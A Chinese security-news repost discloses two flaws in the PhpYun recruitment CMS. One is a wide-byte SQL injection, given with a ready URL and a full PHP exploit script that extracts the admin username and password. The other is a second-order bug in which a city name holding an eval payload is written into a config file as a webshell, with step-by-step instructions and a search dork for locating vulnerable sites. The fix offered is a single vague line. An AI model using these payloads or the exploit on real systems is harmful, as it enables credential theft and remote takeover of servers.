当前位置:七道奇文章资讯安全技术网络技术
日期:2010-09-29 00:45:00  来源:本站整理

PhpYun人才系统通杀注入及代码履行漏洞及修复[网络技术]

赞助商链接



  本文“PhpYun人才系统通杀注入及代码履行漏洞及修复[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

PhpYun人才系统是php业界闻名门户网站php100重磅推出的一套开源人才系统,因php100在业界的地位而疾速被站长选用,但毕竟是新闹事物,其代码安全性上存在严重安全问题.               
      1.宽字节注入

        漏洞描写

      系统在config/db.safety.php中定义以下代码:                                                                   

           function quotesGPC() {
                  $_POST = array_map("addSlash", $_POST);
                  $_GET = array_map("addSlash", $_GET);
                  $_COOKIE = array_map("addSlash", $_COOKIE);
           }
           function addSlash($el) {
           if (is_array($el))
           return array_map("addSlash", $el);
           else
           return addslashes($el);
           }

       这段代码强迫对变量举行了gpc转换,以增添安全性,但是令人费解的是这段代码根本没有在系统中调用,招致php在gpc关闭的情形下,可以直接对系统举行注入.由于普通php的gpc是默许开启,系统的全部查询变量在sql语句中均有单引号包抄,并对inti型变量举行了强迫转换,所以略微显得有点鸡肋.

       但由于整套系统采取gbk编码,并且没有做呼应的字符过滤,在大部份地方招致宽字节注入.

       以下代码:

       if(isset($_GET[search])){
        ....省略部份无关代码                 //公司范例
       $where=!empty($_GET[exp])? "and a.`exp`='$_GET[exp]' ":null;               //公司范例
       $where.=!empty($_GET[edu])? "and a.`edu`='$_GET[edu]' ":null;              //学历
       $where.=!empty($_GET[salary])? "and a.`salary`='$_GET[salary]' ":null;           //月薪
       $where.=$_GET[keyword]!="关键字"? "and a.`name` like '%$_GET[keyword]%' ":null;        //关键字
       .....省略部份无关代码
       $select="a.`id`,a.`uid`,a.`name` as `jobname`,a.`number`,b.`name`,a.`provinceid` as     `jobcity`,a.`lastupdate`,a.`salary`,a.`description`,a.`edu`,b.`pr`,b.`mun`";

       $searchsql=$obj->DB_select_alls("company_job","company","1 $where order by `lastupdate` desc limit $firstcount,$displaypg",$select)

        变量没有举行任何考证即带入查询语句,在gpc开启的情形下用%df'作为keywords查询便可闭合sql查询的单引号实现注入,爆出账号和密码.

        操纵方法:

        尽心构造注入语句

http://www.hackqing.cn/search.php?keyword=php%df%27%20or%201=2%20union%20select%201,2,concat(0x40,0x23,username,0x7e,password,0x23,0x40),4,5,6,7,8,9,0,11,12%20from%20phpyun_admin_user--%20sdfsd&provinceid=&mySearchCityName=&mySearchCity=&search=%CB%D1%CB%F7,

便可注入出后台账号和密码.

       附上exp:

<?php
/*
*   Php Yun 人才系统宽字节编码注入exp
**/
print_r('
+--------------------------------------------------------------------+
PhpYun RenCai System Remove SQL Injection Exploit
By l4yn3
Blog http://hi.百度.com/l4yn3
+--------------------------------------------------------------------+
');
if($argc < 2)
{
    print_r('
    +-----------------------------------------------------------------+
    Example:
        php '.$argv[0].' localhost
    +-----------------------------------------------------------------+
    ');
    exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$host = $argv[1];
$path = $argv[2];
echo "Waiting, exploiting......\r\n";
$data = Hacking();
preg_match("/@#(\S+)#@/isU", $data, $note);
if(!isset($note[1]) || empty($note[1]))
{
    exit('Exploit failed!');
    exit;
}
else
{
$res_arr = explode('~', $note[1]);
print("
Exploit successed!\r\n
Name:".$res_arr[0]."\r\n
PassWord:".$res_arr[1]."\r\n
                    Good Luck to you!
                                    ----l4yn3
");
exit;
}
function Hacking()
{
    global $host, $path;
    $data = "GET /search.php?keyword=php%df%27%20or%201=2%20union%20select%201,2,concat(0x40,0x23,username,0x7e,password,0x23,0x40),4,5,6,7,8,9,0,11,12%20from%20phpyun_admin_user--%20sdfsd&provinceid=&mySearchCityName=&mySearchCity=&search=%CB%D1%CB%F7 HTTP/1.1\r\n"; ////@#
    $data .= "Host: $host\r\n";
    $data .= "Connection: Close\r\n\r\n";
    $fp = fsockopen($host, 80);
    fputs($fp, $data);
    $res = '';
    while($fp && !feof($fp))
    {
        $res .= fread($fp, 1024);
    }
    fclose($fp);
    return $res;
}

   2.后台代码履行

        漏洞描写

        系统对相关配置信息的处理流程为 配置信息入库->从库中取出配置信息写入文件,当作文件缓存利用,招致典型的二次攻击.

      看以下代码:

     admin/admin_city.php

   if($_POST[madeprovince]){
    if(!empty($_POST[provinceid])){
   $value="`name`='".$_POST[provinceid]."',`keyid`='0',`sort`='0'";
   $city1=$acts->DB_insert_once("calss_city","$value"); //没做任何过滤,直接插入 ---l4yn3
       !empty($city1)?$acts->get_admin_msg("admin_city.php","增添成功"):$acts->get_admin_msg("admin_city.php","增添失利,请销后再试");

    }else{
       $acts->get_admin_msg("admin_city.php","请精确填写你要增添的城市");
    }
    }

    admin/admin_make.php

    if($_GET[make]=='area'){

    $data .= "<?php \n \$data_area=array(";
    foreach($acts->DB_select_all("calss_city") as $v){
    $data .="'$v[0]'=>'$v[1]',\n";
       }
    $data .= "'1983223'=>'PHP100'); \n ?>";
    $returnif=true;                        //从库里取出配置信息 l4yn3
}
       ............... 省略部份代码

       if(!empty($data) && $returnif){
            $open=fopen(CONFIG_PATH.'db.data.'.$_GET[make].'.php','w+');
           $fw=fwrite($open,$data);                   //没做任何处理,直接写入配置文件,典型的二次攻击
            fclose($open);

            if(!empty($fw)){
          $acts->get_admin_msg("admin_job.php","更新成功!");
    }
}

        增添省份信息的代码没有任何过滤直接插入数据库(必定注入了),然后再别的一个文件里直接把配置信息取出来写入缓存文件,招致典型的二次注入攻击.

        我们看一下配置文件的格局.

    <?php
        $data_area=array('1'=>'北京',
        '2'=>'上海',
       '3'=>'天津',
       '4'=>'重庆',
       '5'=>'河北');

       及时gpc转换开启,我们增添的时刻被转义,但是存到库里也就是干净的了,在取出来写入缓存,造成典型的二次攻击.我们从数据库里面读出来的省份为'.@eval($_REQUEST['cmd']).'123,那写入配置文件后就变成了'495'=>''.@eval($_REQUEST['cmd']).'123',,成功闭合数组的单引号,履行我们的php代码.

       而插入的内容又是我们掌握的.

       操纵办法

       在‘区域配置’处增添一级城市名称.假如gpc转换关闭,那我们需求增添为\'.@eval($_REQUEST[\'cmd\']).\'123,我们要对我们增添的单引号举行模拟转义,这样增添到库里才能成为'.@eval($_REQUEST['cmd']).'123,然后被写入履行,避免增添失利的错误.假如gpc开启则直接增添 '.@eval($_REQUEST['cmd']).'123,因为gpc已经给我们转义好了.所以流程是先增添'.@eval($_REQUEST['cmd']).'123,提醒失利,则阐明gpc关闭了,sql没有正常履行,那再重新增添\'.@eval($_REQUEST[\'cmd\']).\'123,对单引号举行转义,增添成功.然后手动拜候admin/admin_malke.php?make=area,提醒成功生成配置文件,然后用客户端文件/config/db.data.area.php,就是我们的一句话.

       查找关键词:Powered by PHPYun.

注:首发l4yn3,由情整理编辑

修复筹划:加强过滤,关注官方网站及时进级


  以上是“PhpYun人才系统通杀注入及代码履行漏洞及修复[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
  • PhpYun人才系统通杀注入及代码履行漏洞及修复
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .